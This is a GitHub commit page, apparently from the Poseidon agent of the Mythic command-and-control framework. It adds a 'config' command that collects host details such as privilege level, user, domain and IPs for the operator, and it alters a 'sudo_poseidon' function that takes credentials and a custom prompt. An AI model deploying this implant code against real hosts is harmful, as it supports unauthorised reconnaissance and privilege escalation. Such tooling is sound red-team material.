-
Notifications
You must be signed in to change notification settings - Fork 33
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Showing
17 changed files
with
283 additions
and
70 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
34 changes: 34 additions & 0 deletions
34
Payload_Type/poseidon/poseidon/agent_code/config/config.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
package config | ||
|
||
import ( | ||
// Poseidon | ||
|
||
"encoding/json" | ||
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/functions" | ||
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" | ||
) | ||
|
||
// Run - Function that executes the shell command | ||
func Run(task structs.Task) { | ||
msg := task.NewResponse() | ||
hostConfig := map[string]interface{}{ | ||
"elevated": functions.IsElevated(), | ||
"arch": functions.GetArchitecture(), | ||
"domain": functions.GetDomain(), | ||
"os": functions.GetOS(), | ||
"process_name": functions.GetProcessName(), | ||
"user": functions.GetUser(), | ||
"pid": functions.GetPID(), | ||
"host": functions.GetHostname(), | ||
"ips": functions.GetCurrentIPAddress(), | ||
} | ||
hostConfigBytes, err := json.Marshal(hostConfig) | ||
if err != nil { | ||
msg.SetError(err.Error()) | ||
} else { | ||
msg.UserOutput = string(hostConfigBytes) | ||
} | ||
msg.Completed = true | ||
task.Job.SendResponses <- msg | ||
return | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,3 @@ | ||
#import <Foundation/Foundation.h> | ||
#import <Security/Security.h> | ||
extern const char* sudo_poseidon(char* username, char* password, char* promptText, char* promptIcon, char* command, int* fd); | ||
extern const char* sudo_poseidon(char* username, char* password, char* promptText, char* promptIcon, char* command, char** args, int* fd); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
package agentfunctions | ||
|
||
import ( | ||
agentstructs "github.com/MythicMeta/MythicContainer/agent_structs" | ||
) | ||
|
||
var config = agentstructs.Command{ | ||
Name: "config", | ||
Description: "View current config and host information", | ||
MitreAttackMappings: []string{}, | ||
TaskFunctionCreateTasking: configCreateTasking, | ||
Version: 1, | ||
} | ||
|
||
func init() { | ||
agentstructs.AllPayloadData.Get("poseidon").AddCommand(config) | ||
} | ||
|
||
func configCreateTasking(taskData *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse { | ||
response := agentstructs.PTTaskCreateTaskingMessageResponse{ | ||
Success: true, | ||
TaskID: taskData.Task.ID, | ||
} | ||
return response | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.